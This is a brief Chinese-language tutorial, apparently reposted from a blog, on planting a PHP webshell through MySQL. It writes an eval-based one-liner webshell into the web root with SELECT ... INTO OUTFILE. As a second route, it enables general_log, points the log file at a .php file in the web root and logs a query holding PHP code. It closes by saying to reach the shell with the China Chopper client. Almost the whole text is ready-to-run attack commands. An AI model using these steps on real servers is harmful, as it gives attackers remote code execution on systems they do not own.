select @@basedir;
show global variables like ‘secure%‘ ##查看secure_file_priv
值,结果若为NULL
,则不能使用loadfile,into outfile进行读写文件
select ‘<?php @eval_r($_POST[cmd])?>‘INTO OUTFILE ‘D:\\soft\\phpStudy\\www\\eval.php‘
mysql中有两个全局变量是我们getshell需要用到的重要变量:
general_log
general_log_file
general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
show variables like ‘general_log%‘;
首先打开操作日志记录
set global general_log = ‘ON‘;
设置操作记录日志路径
set global general_log_file=‘D:\\phpstudy\\PHPTutorial\\WWW\\e.php‘
执行sql语句,将webshell执行的语句内容记录到文件中,就可以getshell了
select ‘<?php phpinfo();?>‘
然后用菜刀访问e.php就行了
原文:https://www.cnblogs.com/littlemood/p/11785009.html